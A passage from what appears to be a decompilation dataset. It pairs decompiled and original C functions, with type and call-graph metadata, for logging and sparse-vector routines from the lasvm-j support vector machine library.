LASVM_ERROR=0, LASVM_WARNING=1, LASVM_INFO=2, LASVM_DEBUG=3 }" ], "binary_hash": "10ba2e33f76d0bde038c6a9d54d7f17d6087fc538de2b613ac966f99648fbe33" }, { "name": "lasvm_info", "canonical_name": "func3", "repo": "locklin/lasvm-j", "decompiled_code": "__int64 lasvm_info(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, ...)\n{\ngcc_va_list va; // [rsp+10h] [rbp-D0h] BYREF\nint (__fastcall *v8)(unsigned int, const char *, void *); // [rsp+28h] [rbp-B8h]\n__int64 v9; // [rsp+38h] [rbp-A8h]\n__int64 v10; // [rsp+40h] [rbp-A0h]\n__int64 v11; // [rsp+48h] [rbp-98h]\n__int64 v12; // [rsp+50h] [rbp-90h]\n__int64 v13; // [rsp+58h] [rbp-88h]\n\nva_start(va, a6);\nv9 = a2;\nv10 = a3;\nv11 = a4;\nv12 = a5;\nv13 = a6;\nv8 = (int (__fastcall *)(unsigned int, const char *, void *))lasvm_message_proc;\nva[0].gp_offset = 8;\nif ( !lasvm_message_proc )\nv8 = defaultproc;\nreturn ((__int64 (__fastcall *)(__int64, __int64, __va_list_tag *))v8)(2LL, a1, va);\n}\n", "canonical_decompiled_code": "__int64 func3(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, ...)\n{\ngcc_va_list va; // [rsp+10h] [rbp-D0h] BYREF\nint (__fastcall *v8)(unsigned int, const char *, void *); // [rsp+28h] [rbp-B8h]\n__int64 v9; // [rsp+38h] [rbp-A8h]\n__int64 v10; // [rsp+40h] [rbp-A0h]\n__int64 v11; // [rsp+48h] [rbp-98h]\n__int64 v12; // [rsp+50h] [rbp-90h]\n__int64 v13; // [rsp+58h] [rbp-88h]\n\nva_start(va, a6);\nv9 = a2;\nv10 = a3;\nv11 = a4;\nv12 = a5;\nv13 = a6;\nv8 = (int (__fastcall *)(unsigned int, const char *, void *))lasvm_message_proc;\nva[0].gp_offset = 8;\nif ( !lasvm_message_proc )\nv8 = defaultproc;\nreturn ((__int64 (__fastcall *)(__int64, __int64, __va_list_tag *))v8)(2LL, a1, va);\n}", "original_code": "void\nlasvm_info(const char *fmt, ...)\n{\n lasvm_message_proc_t *f = lasvm_message_proc;\n va_list ap;\n __builtin_va_start(ap,fmt);\n if (! f)\n f = defaultproc;\n (*f)(LASVM_INFO,fmt,ap);\n __builtin_va_end(ap);\n}", "canonical_original_code": "void lasvm_info(char *fmt, ...)\n{\n void (*f)(enum lasvm_message_t, char *, __builtin_va_list) = lasvm_message_proc;\n __builtin_va_list ap;\n __builtin_va_start(ap,fmt);\n if (! f)\n f = defaultproc;\n (*f)(LASVM_INFO,fmt,ap);\n __builtin_va_end(ap);\n}", "variable_types": [ [ "fmt", "char *" ], [ "f", "void (*)(enum lasvm_message_t { LASVM_ERROR=0, LASVM_WARNING=1, LASVM_INFO=2, LASVM_DEBUG=3 }, char *, __builtin_va_list)" ], [ "ap", "__builtin_va_list" ] ], "return_type": "void", "user_defined_types": [ "enum lasvm_message_t { LASVM_ERROR=0, LASVM_WARNING=1, LASVM_INFO=2, LASVM_DEBUG=3 }" ], "binary_hash": "10ba2e33f76d0bde038c6a9d54d7f17d6087fc538de2b613ac966f99648fbe33" }, { "name": "lasvm_debug", "canonical_name": "func4", "repo": "locklin/lasvm-j", "decompiled_code": "__int64 lasvm_debug(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, ...)\n{\ngcc_va_list va; // [rsp+10h] [rbp-D0h] BYREF\nint (__fastcall *v8)(unsigned int, const char *, void *); // [rsp+28h] [rbp-B8h]\n__int64 v9; // [rsp+38h] [rbp-A8h]\n__int64 v10; // [rsp+40h] [rbp-A0h]\n__int64 v11; // [rsp+48h] [rbp-98h]\n__int64 v12; // [rsp+50h] [rbp-90h]\n__int64 v13; // [rsp+58h] [rbp-88h]\n\nva_start(va, a6);\nv9 = a2;\nv10 = a3;\nv11 = a4;\nv12 = a5;\nv13 = a6;\nv8 = (int (__fastcall *)(unsigned int, const char *, void *))lasvm_message_proc;\nva[0].gp_offset = 8;\nif ( !lasvm_message_proc )\nv8 = defaultproc;\nreturn ((__int64 (__fastcall *)(__int64, __int64, __va_list_tag *))v8)(3LL, a1, va);\n}\n", "canonical_decompiled_code": "__int64 func4(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, ...)\n{\ngcc_va_list va; // [rsp+10h] [rbp-D0h] BYREF\nint (__fastcall *v8)(unsigned int, const char *, void *); // [rsp+28h] [rbp-B8h]\n__int64 v9; // [rsp+38h] [rbp-A8h]\n__int64 v10; // [rsp+40h] [rbp-A0h]\n__int64 v11; // [rsp+48h] [rbp-98h]\n__int64 v12; // [rsp+50h] [rbp-90h]\n__int64 v13; // [rsp+58h] [rbp-88h]\n\nva_start(va, a6);\nv9 = a2;\nv10 = a3;\nv11 = a4;\nv12 = a5;\nv13 = a6;\nv8 = (int (__fastcall *)(unsigned int, const char *, void *))lasvm_message_proc;\nva[0].gp_offset = 8;\nif ( !lasvm_message_proc )\nv8 = defaultproc;\nreturn ((__int64 (__fastcall *)(__int64, __int64, __va_list_tag *))v8)(3LL, a1, va);\n}", "original_code": "void\nlasvm_debug(const char *fmt, ...)\n{\n lasvm_message_proc_t *f = lasvm_message_proc;\n va_list ap;\n __builtin_va_start(ap,fmt);\n if (! f)\n f = defaultproc;\n (*f)(LASVM_DEBUG,fmt,ap);\n __builtin_va_end(ap);\n}", "canonical_original_code": "void lasvm_debug(char *fmt, ...)\n{\n void (*f)(enum lasvm_message_t, char *, __builtin_va_list) = lasvm_message_proc;\n __builtin_va_list ap;\n __builtin_va_start(ap,fmt);\n if (! f)\n f = defaultproc;\n (*f)(LASVM_DEBUG,fmt,ap);\n __builtin_va_end(ap);\n}", "variable_types": [ [ "fmt", "char *" ], [ "f", "void (*)(enum lasvm_message_t { LASVM_ERROR=0, LASVM_WARNING=1, LASVM_INFO=2, LASVM_DEBUG=3 }, char *, __builtin_va_list)" ], [ "ap", "__builtin_va_list" ] ], "return_type": "void", "user_defined_types": [ "enum lasvm_message_t { LASVM_ERROR=0, LASVM_WARNING=1, LASVM_INFO=2, LASVM_DEBUG=3 }" ], "binary_hash": "10ba2e33f76d0bde038c6a9d54d7f17d6087fc538de2b613ac966f99648fbe33" }, { "name": "lasvm_assertfail", "canonical_name": "func5", "repo": "locklin/lasvm-j", "decompiled_code": "void __fastcall __noreturn lasvm_assertfail(__int64 a1, unsigned int a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)\n{\nlasvm_error(\"Assertion failed: %s:%d\\n\", a1, a2, a4, a5, a6);\n}\n", "canonical_decompiled_code": "void __fastcall __noreturn func5(__int64 a1, unsigned int a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)\n{\nfunc1(\"Assertion failed: %s:%d\\n\", a1, a2, a4, a5, a6);\n}", "original_code": "void\nlasvm_assertfail(const char *file,int line)\n{\n lasvm_error(\"Assertion failed: %s:%d\\n\", file, line);\n}", "canonical_original_code": "void lasvm_assertfail(char *file, int line)\n{\n lasvm_error(\"Assertion failed: %s:%d\\n\", file, line);\n}", "variable_types": [ [ "file", "char *" ], [ "line", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "10ba2e33f76d0bde038c6a9d54d7f17d6087fc538de2b613ac966f99648fbe33" } ]
ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98
locklin/lasvm-j
[ [ "xmalloc", "->", "resize", "lasvm_sparsevector_create" ], [ "lasvm_vector_destroy", "->" ], [ "lasvm_vector_dot_product", "->" ], [ "resize", "->", "xmalloc", "makeroom", "lasvm_sparsevector_clear", "lasvm_sparsevector_combine" ], [ "makeroom", "->", "resize", "lasvm_sparsevector_create", "lasvm_sparsevector_set" ], [ "lasvm_sparsevector_create", "->", "xmalloc", "makeroom", "lasvm_sparsevector_combine" ], [ "lasvm_sparsevector_clear", "->", "resize" ], [ "lasvm_sparsevector_destroy", "->" ], [ "search", "->", "lasvm_sparsevector_get", "lasvm_sparsevector_set" ], [ "lasvm_sparsevector_get", "->", "search" ], [ "lasvm_sparsevector_set", "->", "search", "makeroom" ], [ "lasvm_sparsevector_combine", "->", "lasvm_sparsevector_create", "resize" ], [ "lasvm_sparsevector_dot_product", "->" ] ]
[]
[ { "name": "lasvm_vector_destroy", "canonical_name": "func1", "repo": "locklin/lasvm-j", "decompiled_code": "void __fastcall lasvm_vector_destroy(_DWORD *a1)\n{\n*a1 = 0;\nfree(a1);\n}\n", "canonical_decompiled_code": "void __fastcall func1(_DWORD *a1)\n{\n*a1 = 0;\nfree(a1);\n}", "original_code": "void\nlasvm_vector_destroy(lasvm_vector_t *v)\n{\n v->size = 0;\n free(v);\n}", "canonical_original_code": "void lasvm_vector_destroy(struct lasvm_vector_s *v)\n{\n v->size = 0;\n free(v);\n}", "variable_types": [ [ "v", "struct lasvm_vector_s { int size; float data[1]; } *" ] ], "return_type": "void", "user_defined_types": [ "struct lasvm_vector_s { int size; float data[1]; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "lasvm_vector_dot_product", "canonical_name": "func2", "repo": "locklin/lasvm-j", "decompiled_code": "double __fastcall lasvm_vector_dot_product(int *a1, int *a2)\n{\nint v2; // eax\ndouble v4; // [rsp+20h] [rbp-10h]\nint i; // [rsp+2Ch] [rbp-4h]\n\nv2 = *a1;\nif ( *a2 <= *a1 )\nv2 = *a2;\nv4 = 0.0;\nfor ( i = 0; i < v2; ++i )\nv4 = (float)(*(float *)&a2[i + 1] * *(float *)&a1[i + 1]) + v4;\nreturn v4;\n}\n", "canonical_decompiled_code": "double __fastcall func2(int *a1, int *a2)\n{\nint v2; // eax\ndouble v4; // [rsp+20h] [rbp-10h]\nint i; // [rsp+2Ch] [rbp-4h]\n\nv2 = *a1;\nif ( *a2 <= *a1 )\nv2 = *a2;\nv4 = 0.0;\nfor ( i = 0; i < v2; ++i )\nv4 = (float)(*(float *)&a2[i + 1] * *(float *)&a1[i + 1]) + v4;\nreturn v4;\n}", "original_code": "double\nlasvm_vector_dot_product(lasvm_vector_t *v1, lasvm_vector_t *v2)\n{\n int i;\n int n = (((v1->size)<(v2->size))?(v1->size):(v2->size));\n double sum = 0;\n for (i=0; i<n; i++)\n sum += v1->data[i] * v2->data[i];\n return sum;\n}", "canonical_original_code": "double lasvm_vector_dot_product(struct lasvm_vector_s *v1, struct lasvm_vector_s *v2)\n{\n int i;\n int n = (((v1->size)<(v2->size))?(v1->size):(v2->size));\n double sum = 0;\n for (i=0; i<n; i++)\n sum += v1->data[i] * v2->data[i];\n return sum;\n}", "variable_types": [ [ "v1", "struct lasvm_vector_s { int size; float data[1]; } *" ], [ "v2", "struct lasvm_vector_s *" ], [ "i", "int" ], [ "n", "int" ], [ "sum", "double" ] ], "return_type": "double", "user_defined_types": [ "struct lasvm_vector_s { int size; float data[1]; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "resize", "canonical_name": "func3", "repo": "locklin/lasvm-j", "decompiled_code": "int *__fastcall resize(int *a1, int a2)\n{\nint *result; // rax\nint v3; // [rsp+4h] [rbp-1Ch]\n_QWORD *v4; // [rsp+10h] [rbp-10h]\nint i; // [rsp+1Ch] [rbp-4h]\n\nv3 = a2;\nif ( a2 < *a1 )\nv3 = *a1;\nv4 = xmalloc(8 * (v3 + 1));\nfor ( i = 0; i < *a1; ++i )\nv4[i] = *(_QWORD *)(*((_QWORD *)a1 + 1) + 8LL * i);\nwhile ( i <= v3 )\nLODWORD(v4[i++]) = -1;\nif ( *((_QWORD *)a1 + 1) )\nfree(*((void **)a1 + 1));\n*((_QWORD *)a1 + 1) = v4;\nresult = a1;\na1[1] = v3;\nreturn result;\n}\n", "canonical_decompiled_code": "int *__fastcall func3(int *a1, int a2)\n{\nint *result; // rax\nint v3; // [rsp+4h] [rbp-1Ch]\n_QWORD *v4; // [rsp+10h] [rbp-10h]\nint i; // [rsp+1Ch] [rbp-4h]\n\nv3 = a2;\nif ( a2 < *a1 )\nv3 = *a1;\nv4 = func0(8 * (v3 + 1));\nfor ( i = 0; i < *a1; ++i )\nv4[i] = *(_QWORD *)(*((_QWORD *)a1 + 1) + 8LL * i);\nwhile ( i <= v3 )\nLODWORD(v4[i++]) = -1;\nif ( *((_QWORD *)a1 + 1) )\nfree(*((void **)a1 + 1));\n*((_QWORD *)a1 + 1) = v4;\nresult = a1;\na1[1] = v3;\nreturn result;\n}", "original_code": "static void\nresize(lasvm_sparsevector_t *v, int n)\n{\n int i;\n lasvm_sparsevector_pair_t *newpairs;\n if (n < v->size)\n n = v->size;\n newpairs = (lasvm_sparsevector_pair_t*)xmalloc(sizeof(lasvm_sparsevector_pair_t)*(n+1));\n for (i=0; i<v->size; i++)\n newpairs[i] = v->pairs[i];\n for (; i<=n; i++)\n newpairs[i].index = -1;\n if (v->pairs)\n free(v->pairs);\n v->pairs = newpairs;\n v->maxsize = n;\n}", "canonical_original_code": "static void resize(struct lasvm_sparsevector_s *v, int n)\n{\n int i;\n struct lasvm_sparsevector_pair_s *newpairs;\n if (n < v->size)\n n = v->size;\n newpairs = (struct lasvm_sparsevector_pair_s *)xmalloc(sizeof(lasvm_sparsevector_pair_t)*(n+1));\n for (i=0; i<v->size; i++)\n newpairs[i] = v->pairs[i];\n for (; i<=n; i++)\n newpairs[i].index = -1;\n if (v->pairs)\n free(v->pairs);\n v->pairs = newpairs;\n v->maxsize = n;\n}", "variable_types": [ [ "v", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } *" ], [ "n", "int" ], [ "i", "int" ], [ "newpairs", "struct lasvm_sparsevector_pair_s { int index; float value; } *" ] ], "return_type": "void", "user_defined_types": [ "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }", "struct lasvm_sparsevector_pair_s { int index; float value; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "makeroom", "canonical_name": "func4", "repo": "locklin/lasvm-j", "decompiled_code": "__int64 __fastcall makeroom(__int64 a1)\n{\nint v2; // [rsp+1Ch] [rbp-4h]\n\nv2 = *(_DWORD *)a1 + *(_DWORD *)a1 / 2;\nif ( v2 <= *(_DWORD *)a1 + 15 )\nv2 = *(_DWORD *)a1 + 16;\nresize((int *)a1, v2);\nreturn *(_QWORD *)(a1 + 8);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(__int64 a1)\n{\nint v2; // [rsp+1Ch] [rbp-4h]\n\nv2 = *(_DWORD *)a1 + *(_DWORD *)a1 / 2;\nif ( v2 <= *(_DWORD *)a1 + 15 )\nv2 = *(_DWORD *)a1 + 16;\nfunc3((int *)a1, v2);\nreturn *(_QWORD *)(a1 + 8);\n}", "original_code": "static lasvm_sparsevector_pair_t *\nmakeroom(lasvm_sparsevector_t *v)\n{\n int n = v->size + v->size/2;\n if (n < v->size + 16)\n n = v->size + 16;\n resize(v, n);\n return v->pairs;\n}", "canonical_original_code": "static struct lasvm_sparsevector_pair_s *makeroom(struct lasvm_sparsevector_s *v)\n{\n int n = v->size + v->size/2;\n if (n < v->size + 16)\n n = v->size + 16;\n resize(v, n);\n return v->pairs;\n}", "variable_types": [ [ "v", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; } *" ], [ "n", "int" ] ], "return_type": "struct lasvm_sparsevector_pair_s { int index; float value; } *", "user_defined_types": [ "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }", "struct lasvm_sparsevector_pair_s { int index; float value; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "lasvm_sparsevector_create", "canonical_name": "func5", "repo": "locklin/lasvm-j", "decompiled_code": "_DWORD *lasvm_sparsevector_create()\n{\n_DWORD *v1; // [rsp+8h] [rbp-8h]\n\nv1 = xmalloc(16);\n*v1 = 0;\nv1[1] = 0;\n*((_QWORD *)v1 + 1) = 0LL;\nmakeroom((__int64)v1);\nreturn v1;\n}\n", "canonical_decompiled_code": "_DWORD *func5()\n{\n_DWORD *v1; // [rsp+8h] [rbp-8h]\n\nv1 = func0(16);\n*v1 = 0;\nv1[1] = 0;\n*((_QWORD *)v1 + 1) = 0LL;\nfunc4((__int64)v1);\nreturn v1;\n}", "original_code": "lasvm_sparsevector_t *\nlasvm_sparsevector_create(void)\n{\n lasvm_sparsevector_t *v;\n v = (lasvm_sparsevector_t*)xmalloc(sizeof(lasvm_sparsevector_t));\n v->size = 0;\n v->maxsize = 0;\n v->pairs = 0;\n makeroom(v);\n return v;\n}", "canonical_original_code": "struct lasvm_sparsevector_s *lasvm_sparsevector_create()\n{\n struct lasvm_sparsevector_s *v;\n v = (struct lasvm_sparsevector_s *)xmalloc(sizeof(lasvm_sparsevector_t));\n v->size = 0;\n v->maxsize = 0;\n v->pairs = 0;\n makeroom(v);\n return v;\n}", "variable_types": [ [ "v", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } *" ] ], "return_type": "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } *", "user_defined_types": [ "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }", "struct lasvm_sparsevector_pair_s { int index; float value; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "lasvm_sparsevector_clear", "canonical_name": "func6", "repo": "locklin/lasvm-j", "decompiled_code": "int *__fastcall lasvm_sparsevector_clear(int *a1)\n{\n*a1 = 0;\nreturn resize(a1, 0);\n}\n", "canonical_decompiled_code": "int *__fastcall func6(int *a1)\n{\n*a1 = 0;\nreturn func3(a1, 0);\n}", "original_code": "void\nlasvm_sparsevector_clear(lasvm_sparsevector_t *v)\n{\n v->size = 0;\n resize(v, 0);\n}", "canonical_original_code": "void lasvm_sparsevector_clear(struct lasvm_sparsevector_s *v)\n{\n v->size = 0;\n resize(v, 0);\n}", "variable_types": [ [ "v", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } *" ] ], "return_type": "void", "user_defined_types": [ "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }", "struct lasvm_sparsevector_pair_s { int index; float value; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "lasvm_sparsevector_destroy", "canonical_name": "func7", "repo": "locklin/lasvm-j", "decompiled_code": "void __fastcall lasvm_sparsevector_destroy(void **a1)\n{\nif ( a1[1] )\nfree(a1[1]);\na1[1] = 0LL;\nfree(a1);\n}\n", "canonical_decompiled_code": "void __fastcall func7(void **a1)\n{\nif ( a1[1] )\nfree(a1[1]);\na1[1] = 0LL;\nfree(a1);\n}", "original_code": "void\nlasvm_sparsevector_destroy(lasvm_sparsevector_t *v)\n{\n if (v->pairs)\n free(v->pairs);\n v->pairs = 0;\n free(v);\n}", "canonical_original_code": "void lasvm_sparsevector_destroy(struct lasvm_sparsevector_s *v)\n{\n if (v->pairs)\n free(v->pairs);\n v->pairs = 0;\n free(v);\n}", "variable_types": [ [ "v", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } *" ] ], "return_type": "void", "user_defined_types": [ "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }", "struct lasvm_sparsevector_pair_s { int index; float value; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "search", "canonical_name": "func8", "repo": "locklin/lasvm-j", "decompiled_code": "__int64 __fastcall search(__int64 a1, int a2)\n{\nint v3; // [rsp+18h] [rbp-14h]\n__int64 v4; // [rsp+1Ch] [rbp-10h]\nint v5; // [rsp+24h] [rbp-8h]\nint v6; // [rsp+28h] [rbp-4h]\n\nv6 = 0;\nv5 = *(_DWORD *)a1 - 1;\nv4 = *(_QWORD *)(a1 + 8);\nwhile ( v6 <= v5 )\n{\nv3 = (v6 + v5 + 1) / 2;\nif ( a2 == *(_DWORD *)(8LL * v3 + v4) )\nreturn 8LL * v3 + v4;\nif ( a2 >= *(_DWORD *)(8LL * v3 + v4) )\nv6 = v3 + 1;\nelse\nv5 = v3 - 1;\n}\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(__int64 a1, int a2)\n{\nint v3; // [rsp+18h] [rbp-14h]\n__int64 v4; // [rsp+1Ch] [rbp-10h]\nint v5; // [rsp+24h] [rbp-8h]\nint v6; // [rsp+28h] [rbp-4h]\n\nv6 = 0;\nv5 = *(_DWORD *)a1 - 1;\nv4 = *(_QWORD *)(a1 + 8);\nwhile ( v6 <= v5 )\n{\nv3 = (v6 + v5 + 1) / 2;\nif ( a2 == *(_DWORD *)(8LL * v3 + v4) )\nreturn 8LL * v3 + v4;\nif ( a2 >= *(_DWORD *)(8LL * v3 + v4) )\nv6 = v3 + 1;\nelse\nv5 = v3 - 1;\n}\nreturn 0LL;\n}", "original_code": "static lasvm_sparsevector_pair_t *\nsearch(lasvm_sparsevector_t *v, int index)\n{\n int lo = 0;\n int hi = v->size - 1;\n lasvm_sparsevector_pair_t *pairs = v->pairs;\n while (lo <= hi)\n {\n int d = (lo + hi + 1) / 2;\n if (index == pairs[d].index)\n return &pairs[d];\n else if (index < pairs[d].index)\n hi = d-1;\n else\n lo = d+1;\n }\n return 0;\n}", "canonical_original_code": "static struct lasvm_sparsevector_pair_s *search(struct lasvm_sparsevector_s *v, int index)\n{\n int lo = 0;\n int hi = v->size - 1;\n struct lasvm_sparsevector_pair_s *pairs = v->pairs;\n while (lo <= hi)\n {\n int d = (lo + hi + 1) / 2;\n if (index == pairs[d].index)\n return &pairs[d];\n else if (index < pairs[d].index)\n hi = d-1;\n else\n lo = d+1;\n }\n return 0;\n}", "variable_types": [ [ "v", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; } *" ], [ "index", "int" ], [ "lo", "int" ], [ "hi", "int" ], [ "pairs", "struct lasvm_sparsevector_pair_s { int index; float value; } *" ], [ "d", "int" ] ], "return_type": "struct lasvm_sparsevector_pair_s { int index; float value; } *", "user_defined_types": [ "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }", "struct lasvm_sparsevector_pair_s { int index; float value; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "lasvm_sparsevector_get", "canonical_name": "func9", "repo": "locklin/lasvm-j", "decompiled_code": "__int64 __fastcall lasvm_sparsevector_get(__int64 a1, int a2)\n{\ndouble v2; // xmm0_8\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nv4 = search(a1, a2);\nif ( v4 )\nv2 = *(float *)(v4 + 4);\nelse\nv2 = 0.0;\nreturn *(_QWORD *)&v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func9(__int64 a1, int a2)\n{\ndouble v2; // xmm0_8\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nv4 = func8(a1, a2);\nif ( v4 )\nv2 = *(float *)(v4 + 4);\nelse\nv2 = 0.0;\nreturn *(_QWORD *)&v2;\n}", "original_code": "double\nlasvm_sparsevector_get(lasvm_sparsevector_t *v, int index)\n{\n lasvm_sparsevector_pair_t *p = search(v, index);\n return (p) ? p->value : 0;\n}", "canonical_original_code": "double lasvm_sparsevector_get(struct lasvm_sparsevector_s *v, int index)\n{\n struct lasvm_sparsevector_pair_s *p = search(v, index);\n return (p) ? p->value : 0;\n}", "variable_types": [ [ "v", "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s { int index; float value; } *pairs; } *" ], [ "index", "int" ], [ "p", "struct lasvm_sparsevector_pair_s { int index; float value; } *" ] ], "return_type": "double", "user_defined_types": [ "struct lasvm_sparsevector_s { int size; int maxsize; struct lasvm_sparsevector_pair_s *pairs; }", "struct lasvm_sparsevector_pair_s { int index; float value; }" ], "binary_hash": "ad1dadc71d49db2c3cb7cec8a4e54d6dc6ce42ec89576a4323d193c92bdf5e98" }, { "name": "lasvm_sparsevector_set", "canonical_name": "func10", "repo": "locklin/lasvm-j", "decompiled_code": "__int64 __fastcall lasvm_sparsevector_set(__int64 a1, int a2, double a3)\n{\nfloat v3; // xmm0_4\n__int64 result; // rax\nfloat v5; // xmm0_4\nfloat v6; // xmm0_4\n__int64 v7; // [rsp+28h] [rbp-28h]\nint v8; // [rsp+3Ch] [rbp-14h]\nint i; // [rsp+40h] [rbp-10h]\nint j; // [rsp+44h] [rbp-Ch]\n__int64 v11; // [rsp+48h] [rbp-8h]\n\nv8 = *(_DWORD *)a1;\nv11 = *(_QWORD *)(a1 + 8);\nif ( a3 == 0.0 )\n{\nresult = search(a1, a2);\nif ( result )\n{\nfor ( i = (result - v11) >> 3; i <= v8; ++i )\n*(_QWORD *)(8LL * i + v11) = *(_QWORD *)(8 * (i + 1LL) + v11);\nresult = a1;\n*(_DWORD *)a1 = v8 - 1;\n}\n}\nelse if ( v8 <= 0 || a2 <= *(_DWORD *)(8LL * v8 - 8 + v11) || v8 >= *(_DWORD *)(a1 + 4) )\n{\nv7 = search(a1, a2);\nif ( v7 )\n{\nv5 = a3;\nresult = v7;\n*(float *)(v7 + 4) = v5;\n}\nelse\n{\nif ( v8 >= *(_DWORD *)(a1 + 4) )\nv11 = makeroom(a1);\nfor ( j = v8; j > 0 && a2 < *(_DWORD *)(8LL * j - 8 + v11); --j )\n*(_QWORD *)(8LL * j + v11) = *(_QWORD *)(8LL * j - 8 + v11);\n*(_DWORD *)(v11 + 8LL * j) = a2;\nv6 = a3;\n*(float *)(8LL * j + v11 + 4) = v6;\nresult = a1;\n*(_DWORD *)a1 = v8 + 1;\n}\n}\nelse\n{\n*(_DWORD *)(v11 + 8LL * v8) = a2;\nv3 = a3;\n*(float *)(8LL * v8 + v11 + 4) = v3;\nresult = a1;\n*(_DWORD *)a1 = v8 + 1;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func10(__int64 a1, int a2, double a3)\n{\nfloat v3; // xmm0_4\n__int64 result; // rax\nfloat v5; // xmm0_4\nfloat v6; // xmm0_4\n__int64 v7; // [rsp+28h] [rbp-28h]\nint v8; // [rsp+3Ch] [rbp-14h]\nint i; // [rsp+40h] [rbp-10h]\nint j; // [rsp+44h] [rbp-Ch]\n__int64 v11; // [rsp+48h] [rbp-8h]\n\nv8 = *(_DWORD *)a1;\nv11 = *(_QWORD *)(a1 + 8);\nif ( a3 == 0.0 )\n{\nresult = func8(a1, a2);\nif ( result )\n{\nfor ( i = (result - v11) >> 3; i <= v8; ++i )\n*(_QWORD *)(8LL * i + v11) = *(_QWORD *)(8 * (i + 1LL) + v11);\nresult = a1;\n*(_DWORD *)a1 = v8 - 1;\n}\n}\nelse if ( v8 <= 0 || a2 <= *(_DWORD *)(8LL * v8 - 8 + v11) || v8 >= *(_DWORD *)(a1 + 4) )\n{\nv7 = func8(a1, a2);\nif ( v7 )\n{\nv5 = a3;\nresult = v7;\n*(float *)(v7 + 4) = v5;\n}\nelse\n{\nif ( v8 >= *(_DWORD *)(a1 + 4) )\nv11 = func4(a1);\nfor ( j = v8; j > 0 && a2 < *(_DWORD *)(8LL * j - 8 + v11); --j )\n*(_QWORD *)(8LL * j + v11) = *(_QWORD *)(8LL * j - 8 + v11);\n*(_DWORD *)(v11 + 8LL * j) = a2;\nv6 = a3;\n*(float *)(8LL * j + v11 + 4) = v6;\nresult = a1;\n*(_DWORD *)a1 = v8 + 1;\n}\n}\nelse\n{\n*(_DWORD *)(v11 + 8LL * v8) = a2;\nv3 = a3;\n*(float *)(8LL * v8 + v11 + 4) = v3;\nresult = a1;\n*(_DWORD *)a1 = v8 + 1;\n}\nreturn result;\n}", "original_code": "void\nlasvm_sparsevector_set(lasvm_sparsevector_t *v, int index, double value)\n{\n int size = v->size;\n lasvm_sparsevector_pair_t *pairs = v->pairs;\n if (value)\n {\n if (size>0 && index>pairs[size-1].index && size<v->maxsize)\n {\n pairs[size].index = index;\n pairs[size].value = value;\n v->size = size + 1;\n }\n else\n {\n lasvm_sparsevector_pair_t *p = search(v, index);\n if (p)\n {\n p->value = value;\n }\n else\n {\n int i;\n if (size >= v->maxsize)\n pairs = makeroom(v);\n for (i=size; i>0 && pairs[i-1].index>index; i--)\n pairs[i] = pairs[i-1];\n pairs[i].index = index;\n pairs[i].value = value;\n v->size = size + 1;\n }\n }\n }\n else\n {\n lasvm_sparsevector_pair_t *p = search(v, index);\n if (p)\n {\n int i;\n for (i=p-pairs; i<=size; i++)\n pairs[i] = pairs[i+1];\n v->size = size - 1;\n }\n }\n}", "canonical_original_code": "void lasvm_sparsevector_set(struct lasvm_sparsevector_s *v, int index, double value)\n{\n int size = v->size;\n struct lasvm_sparsevector_pair_s *pairs = v->pairs;\n if (value)\n {\n if (size>0 && index>pairs[size-1].index && size<v->maxsize)\n {\n pairs[size].index = index;\n pairs[size].value = value;\n v->size = size + 1;\n }\n else\n {\n struct lasvm_sparsevector_pair_s *p = search(v, index);\n if (p)\n 